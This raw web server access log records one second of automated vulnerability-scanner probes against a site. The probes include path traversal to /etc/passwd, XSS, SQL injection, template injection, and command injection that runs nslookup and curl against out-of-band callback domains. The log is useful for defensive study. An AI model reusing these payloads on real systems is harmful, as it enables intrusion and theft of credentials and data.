[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mstore-api/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tshirtecommerce/fonts.php?name=2&type=./../index.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp HTTP/1.1" 226
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/built%2F..%2F..%2F/package.json HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /user/save HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).d5g6to2hausk1oj0j65g8i7f8ct3ztp1t.oast.live%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22202.181.208.139:443%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bypass/config?type=sqs&keyId=test&key=security&queueUrl=http://d5g6to2hausk1oj0j65g7hp4pz66rpidt.oast.live/ HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(document.domain);%3E HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Servlet/Skins HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/igd/v1/get-users-data HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax.php?action=save_user HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/dns HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /flatpress/fp-content/ HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /job/list HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/add-listing?id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/config/application?public=true HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Dialog/FileDialog.aspx?ed=foooooooooooooo%27);});});javascript:alert('document.domain');//g HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/api/user/save HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/ticket/ajax/ajax.php?action=getContacts&email=% HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/opac_css/pmb.php?url=https://oast.me&hash=9c4438eb62929d9b535fb6fe98223c5e HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache380DIHJt0ONudfzFsDuIXRBuZOq HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/jmeter/download/files HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v1/warehouse/pending-events HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default.aspx?years=http://oast.pro HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /enrollment/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=kfXdCS%3CIMG%20%22%22%22%3E%3CIMG%20SRC=/%20onerror=%22alert(document.domain)%22%3E%3C/img%3E/1KI/ HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/aspForm HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_api/web/siteusers HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/runscript HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/eng/liveView?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/ult/v2/review-banner-visibility&action=maybe-later&redirect=yes&redirect_url=https://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main/webservices/additional_webservices.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /attachment/2/cbbaa.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cpanelwebcall/%3C%3E%3Cimg%20src=x%20onerror=%22prompt%28document.domain%29%22%3E HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws/msw/tenant/%27%20union%20select%20%28select%20ID%20from%20SGMSDB.DOMAINS%20limit%201%29%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%28select%20concat%28id%2C%20%27%3A%27%2C%20password%29%20from%20sgmsdb.users%20where%20active%20%3D%20%271%27%20order%20by%20issuperadmin%20desc%20limit%201%20offset%200%29%2C%27%27%2C%20%27%27%2C%20%27 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /inizio.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /users/user-dark-features HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=./gibbon.sql HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ultimate-member/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jeecg-boot/jmreport/show HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.xz HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.zip HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.z HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/popen.cgi?command=type%20C://Windows/win.ini&v=0.1303033443137912 HTTP/1.1" 199
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /b_download/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=%22or+%22%22%3D%22%28%28%22%29%29%3BSELECT+SLEEP%2810%29%3B--+- HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?mid=rtbm\"><img+src=x+onerror=confirm(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/viewi1omd%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3El43yn/108?tab=activity HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ef26v4?mode=model HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /friendsslty3%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3er5c3m/ajax_invite?mode=model HTTP/1.1" 199
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setupadministrator-start.action HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /find-a-matchpksyk%22%3E%3Cimg%20src=a%20onerror=alert%28document.cookie%29%3Es9a64 HTTP/1.1" 199
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /creaprezzi.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/session/properties HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/config/nodogsplash HTTP/1.1" 226
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webauth_operation.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/simpleimportproduct/send.php?phpinfo=1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/slack/image/slack-image%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?PHPRC=/dev/fd/0 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /print.php?nm_member=<script>alert(document.location)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/aad/api/v2/admins/users HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/folder?path=%2F HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appliance/login HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loganalyzer/asktheoracle.php?type=domain&query&uid=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?color=%22%3E%3Cimg%20src=x%20onerror=confirm(document.cookie)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/miniform/ajax_delete_message.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax-api/2.0/mlflow-artifacts/artifacts?path=C:/ HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5coast.pro/%2f%2e%2e HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/profile.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/users/ HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/built%252F..%252F..%252F%25E0%25A4%25A/package.json HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /templates/pages/debug_panel.php?id=380DI8X8NzuGQ1iBvQS4IE2DjXV\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_images/xQAkkH HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /custom-report-example/..%5C..%5C..%5Cdeployment%5Csharp%5Cicons%5Chome-app.png HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/adminapi/base.cfc?method HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/dashboard.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/server/version HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main/webservices/additional_webservices.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /matchmakings/questiontmili%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ew71ch?number HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/exportCfgwithpasswd HTTP/1.1" 199
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/hassio/app/.%09./supervisor/info HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file-manager/ HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFront&action=pjActionGetBookingForm&session_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt&end_dt&locale&index=0 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fsjypop HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3el43yn/108?tab=activity HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pig/add-pig.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/folder?path=%2F HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ems/cgi-bin/ezrf_upgrade_images.cgi?op_type=deleteprogressfile&progressfile=7CsJJ%3Bcurl+d5g6to2hausk1oj0j65gjpj9jg836ej5h.oast.live+%23 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DI5wfFRIBdpUbUDLxs4Dq1rY.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rest/xxxxxxxxxxxxxxx/xxxxxxx?executeAsync HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l HTTP/1.1" 199
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /excel.php HTTP/1.1" 196
